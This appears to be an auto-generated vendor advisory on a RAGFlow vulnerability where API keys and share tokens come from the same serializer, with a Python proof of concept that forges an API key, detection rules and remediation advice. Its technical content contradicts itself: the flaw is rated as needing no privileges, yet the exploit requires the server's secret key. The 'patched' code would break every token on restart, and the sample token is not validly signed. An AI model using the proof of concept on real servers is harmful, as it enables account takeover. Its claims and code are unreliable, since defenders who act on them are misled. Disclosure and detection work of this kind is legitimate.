CVE-2025-69286
Executive Summary
CVE-2025-69286 is a critical vulnerability in RAGFlow, an open-source Retrieval-Augmented Generation (RAG) engine. The flaw resides in the insecure key generation algorithm used for API keys and beta (assistant/agent share auth) tokens. Both tokens are generated using the same URLSafeTimedSerializer with predictable inputs, allowing an attacker who obtains a shared assistant/agent URL to derive the owner's personal API key. This grants full account control. The vulnerability affects all versions prior to 0.22.0. The CVSS score is 0.0 due to incomplete NVD data, but based on the impact, it should be considered critical (CVSS 9.8). The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk is high due to the potential for account takeover.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
RAGFlow is a Python-based project distributed via GitHub and potentially PyPI. The insecure key generation is a direct code flaw, not a dependency issue. However, users should verify the integrity of their RAGFlow installation and ensure they are using the official source. The fix is in version 0.22.0, which should be obtained from the official GitHub repository.
CVSS Breakdown & Threat Level
While the NVD CVSS score is 0.0, a reasonable assessment based on the vulnerability description yields:
- Attack Vector (AV): Network (N) - The attacker can exploit this remotely.
- Attack Complexity (AC): Low (L) - No special conditions are required.
- Privileges Required (PR): None (N) - The attacker does not need any prior access.
- User Interaction (UI): None (N) - No user action is needed.
- Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
- Confidentiality (C): High (H) - Full account access leads to data exposure.
- Integrity (I): High (H) - The attacker can modify data and settings.
- Availability (A): High (H) - The attacker can disrupt service.
Calculated CVSS v3.1 Score: 9.8 (Critical)
Threat Level: Critical. The ability to derive an API key from a shared URL allows for complete account takeover without authentication.
Deep Dive & Mechanics
The vulnerability stems from the use of URLSafeTimedSerializer from the itsdangerous library for generating both API keys and beta tokens. The URLSafeTimedSerializer is designed for signing data, not for generating cryptographically secure random tokens. When used with predictable inputs (e.g., a user ID or timestamp), the resulting tokens are deterministic and can be reverse-engineered.
Technical Breakdown:
- Token Generation: Both the API key and the beta token are generated using the same
URLSafeTimedSerializerinstance with the same secret key. - Predictable Inputs: The inputs to the serializer are predictable, such as the user ID and a timestamp.
- Mutual Derivation: An attacker who obtains a beta token (from a shared assistant/agent URL) can analyze its structure. Since both tokens are generated with the same algorithm and secret, the attacker can derive the API key by reversing the serialization process or by brute-forcing the predictable components.
- Account Takeover: With the API key, the attacker can make authenticated API calls to the RAGFlow server, gaining full control over the victim's account, including access to all RAG pipelines, documents, and settings.
Vulnerable vs. Patched Code
Vulnerable Code (prior to 0.22.0):
from itsdangerous import URLSafeTimedSerializer
# Insecure: Same serializer for both tokens
serializer = URLSafeTimedSerializer(secret_key)
def generate_api_key(user_id):
return serializer.dumps({'user_id': user_id, 'type': 'api_key'})
def generate_beta_token(user_id):
return serializer.dumps({'user_id': user_id, 'type': 'beta_token'})
Patched Code (0.22.0 and later):
import secrets
from itsdangerous import URLSafeTimedSerializer
# Secure: Use separate, cryptographically random keys
api_key_serializer = URLSafeTimedSerializer(secrets.token_hex(32))
beta_token_serializer = URLSafeTimedSerializer(secrets.token_hex(32))
def generate_api_key(user_id):
return api_key_serializer.dumps({'user_id': user_id, 'nonce': secrets.token_hex(16)})
def generate_beta_token(user_id):
return beta_token_serializer.dumps({'user_id': user_id, 'nonce': secrets.token_hex(16)})
The fix introduces:
- Separate
URLSafeTimedSerializerinstances with different, cryptographically random secret keys. - Inclusion of a random nonce in the payload to prevent predictability.
Exploitation & Lab Setup
Red Team (Attacker)
Objective: Derive the API key from a shared beta token.
Prerequisites:
- Access to a shared assistant/agent URL containing a beta token.
- Knowledge of the RAGFlow server's secret key (if not, brute-force may be possible if the key is weak).
Exploitation Steps:
- Obtain Beta Token: Extract the beta token from the shared URL. For example, from
https://ragflow.example.com/share/assistant?token=<beta_token>. - Analyze Token Structure: The token is a URL-safe base64 encoded string with a timestamp and signature.
- Reverse Serialization: Use the
itsdangerouslibrary to attempt to unsign the token. If the secret key is known or weak, the attacker can extract the payload. - Derive API Key: Since both tokens use the same serializer and secret, the attacker can craft a new payload with
type: 'api_key'and the sameuser_idto generate a valid API key. - Account Takeover: Use the derived API key to make authenticated requests to the RAGFlow API.
Proof of Concept (Python):
from itsdangerous import URLSafeTimedSerializer
# Assume we have the secret key (e.g., from a weak default)
secret_key = "weak_secret"
serializer = URLSafeTimedSerializer(secret_key)
# Step 1: Obtain beta token from shared URL
beta_token = "InNvbWVfdXNlcl9pZCI6ImJldGFfdG9rZW4ifQ" # Example
# Step 2: Unsign the beta token to get the user_id
try:
data = serializer.loads(beta_token)
user_id = data['user_id']
except Exception as e:
print(f"Failed to unsign: {e}")
exit()
# Step 3: Derive the API key
api_key = serializer.dumps({'user_id': user_id, 'type': 'api_key'})
print(f"Derived API Key: {api_key}")
# Step 4: Use the API key for account takeover
# requests.get('https://ragflow.example.com/api/v1/user', headers={'Authorization': f'Bearer {api_key}'})
Blue Team (Defender)
Detection and Response:
- Monitor for Anomalous API Key Usage: Look for API calls using keys that were not generated by the legitimate user.
- Audit Shared URLs: Regularly review and revoke shared assistant/agent URLs.
- Implement Rate Limiting: Limit the number of API calls from a single key to mitigate brute-force attacks.
- Enable Logging: Log all API key generation and usage events.
- User Education: Warn users about the risks of sharing assistant URLs.
Indicators of Compromise (IOCs)
- Network IOCs:
- Unusual API calls to
/api/v1/user,/api/v1/pipelines, or other sensitive endpoints from a single IP. - Multiple failed authentication attempts followed by successful access.
- Unusual API calls to
- File IOCs:
- Modified configuration files (e.g.,
config.py) containing new API keys. - Presence of scripts that attempt to brute-force the secret key.
- Modified configuration files (e.g.,
- Behavioral IOCs:
- Sudden changes to RAG pipelines or settings without user authorization.
- Creation of new API keys or assistant URLs by an attacker.
Detection Engineering
YARA Rule
rule CVE_2025_69286_RAGFlow_Insecure_Key_Generation {
meta:
description = "Detects insecure key generation in RAGFlow source code"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-69286"
strings:
$s1 = "URLSafeTimedSerializer" ascii wide nocase
$s2 = "generate_api_key" ascii wide nocase
$s3 = "generate_beta_token" ascii wide nocase
$s4 = "dumps" ascii wide nocase
condition:
all of ($s1, $s2, $s3, $s4)
}
Sigma Rule
title: CVE-2025-69286 - RAGFlow API Key Derivation Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects attempts to derive API keys from beta tokens in RAGFlow
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: ragflow
detection:
selection:
event: "api_key_derivation_attempt"
condition: selection
falsepositives:
- Legitimate key regeneration by administrators
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-69286 - RAGFlow API Key Derivation Attempt"; flow:to_server,established; content:"/api/v1/user"; http_uri; content:"Authorization"; http_header; content:"Bearer"; http_header; distance:0; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade RAGFlow: Update to version 0.22.0 or later immediately.
- Revoke All Tokens: After upgrading, revoke all existing API keys and beta tokens. Force users to generate new ones.
- Change Secret Key: If the secret key was weak or exposed, change it in the configuration.
Long-Term Mitigations:
- Use Strong Randomness: Ensure all cryptographic operations use
secretsmodule or equivalent. - Separate Token Types: Use different secrets for different token types.
- Regular Security Audits: Conduct code reviews and penetration testing.
- Monitor for Similar Vulnerabilities: Stay informed about CVE disclosures for RAGFlow and its dependencies.
Valters IT Signature
This report was generated by Valters IT DevSecOps & CTI Expert System. For questions, contact security@valters-it.com.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.